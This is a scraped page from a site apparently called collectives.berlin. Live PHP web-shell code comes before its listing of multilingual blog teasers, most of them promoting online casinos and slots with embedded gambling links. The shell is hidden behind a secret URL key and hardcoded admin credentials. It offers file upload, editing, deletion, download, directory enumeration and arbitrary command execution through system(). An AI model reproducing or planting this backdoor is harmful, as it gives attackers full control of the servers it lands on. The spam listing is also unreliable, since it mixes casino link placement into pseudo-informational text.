if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 36 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Міжнародні медичні конгреси та інновації для України цього року

    Участие в новых формах обмена опытом, таких как виртуальные мероприятия, уже необходимо для успешного взаимодействия с коллегами и партнёрами. Используйте платформы с интерактивными функциями, eu-apteka.com.ua которые обеспечивают более глубокую вовлечённость аудитории и возможность задавать вопросы в реальном времени. Данные о количестве участников и географии событий свидетельствуют о растущем интересе к подобным форматам. Применение гибридных моделей…

    Click or not…

  • Chicken Road 2: Qué Novedades Trae la Secuela

    La secuela de uno de los juegos de simulación más esperados del año, Chicken Road 2, ha llegado para cautivar a los fanáticos y atraer a nuevos jugadores. Esta nueva entrega no solo mejora la experiencia del primer juego, sino que también introduce una serie de novedades que prometen hacer el juego más emocionante y…

    Click or not…

  • Chicken Road: La Historia Detrás del Pollo y el Huevo Dorado

    “Chicken Road: La Historia Detrás del Pollo y el Huevo Dorado” es una fascinante narrativa que explora el mundo de la avicultura y su impacto en la economía y la cultura de diversas comunidades. Este estudio se adentra en el origen de la producción de pollo y huevos, revelando no solo los aspectos económicos, sino…

    Click or not…

  • Moltiplicatori nelle Slot Online: Come Funzionano e Dove Trovarli

    Le slot online sono tra i giochi più popolari nei casinò virtuali, grazie alla loro semplicità e all’ampia varietà di temi e funzionalità. Tra queste, i moltiplicatori rappresentano una delle caratteristiche più affascinanti e ricercate dai giocatori. Ma cosa sono esattamente i moltiplicatori e come funzionano nelle slot online? In questo report, esploreremo casoola casino…

    Click or not…

  • Gratis Spins: Hoe Claim Je Ze en Wat Zijn de Voorwaarden?

    Gratis spins zijn een populaire promotie in de wereld van online gokken, https://heatupstore.nl/ vooral bij online casino’s. Ze bieden spelers de kans om gratis te spelen op bepaalde gokkasten zonder dat ze hun eigen geld hoeven in te zetten. Dit rapport behandelt hoe je gratis spins kunt claimen en de voorwaarden die vaak aan deze…

    Click or not…

  • Cómo funcionan los bonos cashback y si merecen la pena

    Los bonos cashback son una forma de recompensa que ofrecen algunas tarjetas de crédito y aplicaciones juego de casino mafia en España pago. La premisa es sencilla: por cada compra que realices, recibirás un porcentaje de esa cantidad de vuelta en forma de dinero o crédito en tu cuenta. Este sistema ha ganado popularidad en…

    Click or not…

  • Cluster-Pays-Slots: Unterschiede zu herkömmlichen Gewinnlinien

    Cluster-Pays-Slots sind eine innovative Form von Spielautomaten, die sich von herkömmlichen Gewinnlinien-Slots erheblich unterscheiden. In diesem Bericht werden die Merkmale, https://spinbosss.at/ Funktionsweisen und Vorteile von Cluster-Pays-Slots im Vergleich zu traditionellen Slots mit Gewinnlinien untersucht. Definition und Funktionsweise Herkömmliche Spielautomaten basieren auf einem Gewinnlinien-System, bei dem Spieler Kombinationen von Symbolen auf vordefinierten Linien erzielen müssen, um…

    Click or not…

  • Recenze Magnetic Slots 2026: Testování bonusů, her a zabezpečení

    Recenze magnetic slot Slots 2026 přináší podrobný pohled na jednu z nejnovějších online herních platforem, která se zaměřuje na sloty a další kasinové hry. Tento report se zaměřuje na tři klíčové oblasti: bonusy, herní nabídku a zabezpečení, které jsou pro hráče zásadní. Bonusy a promoakce Jedním z nejatraktivnějších aspektů Magnetic Slots 2026 jsou jejich bonusy.…

    Click or not…

  • Einzahlungsboni und Umsatzbedingungen erklärt

    Einzahlungsboni sind ein gängiges Marketinginstrument, spinbosss.at das von Online-Casinos und Wettanbietern eingesetzt wird, um neue Spieler zu gewinnen und bestehende Kunden zu halten. Diese Boni bieten Spielern die Möglichkeit, zusätzliches Geld oder Freispiele zu erhalten, wenn sie eine Einzahlung auf ihr Spielkonto vornehmen. In diesem Bericht werden wir die verschiedenen Arten von Einzahlungsboni, ihre Funktionsweise…

    Click or not…

  • Sådan Finder Du den Bedste Udbetalingsprocent på Online Casinoer

    At vælge det rigtige online casino kan være en udfordrende opgave, især når det kommer til at finde den bedste udbetalingsprocent. Udbetalingsprocenten, også kendt som Return to Player (RTP), https://magnetic-slots.dk/ er en vigtig faktor, der kan påvirke dine chancer for at vinde, når du spiller på online casinoer. I denne rapport vil vi udforske, hvad…

    Click or not…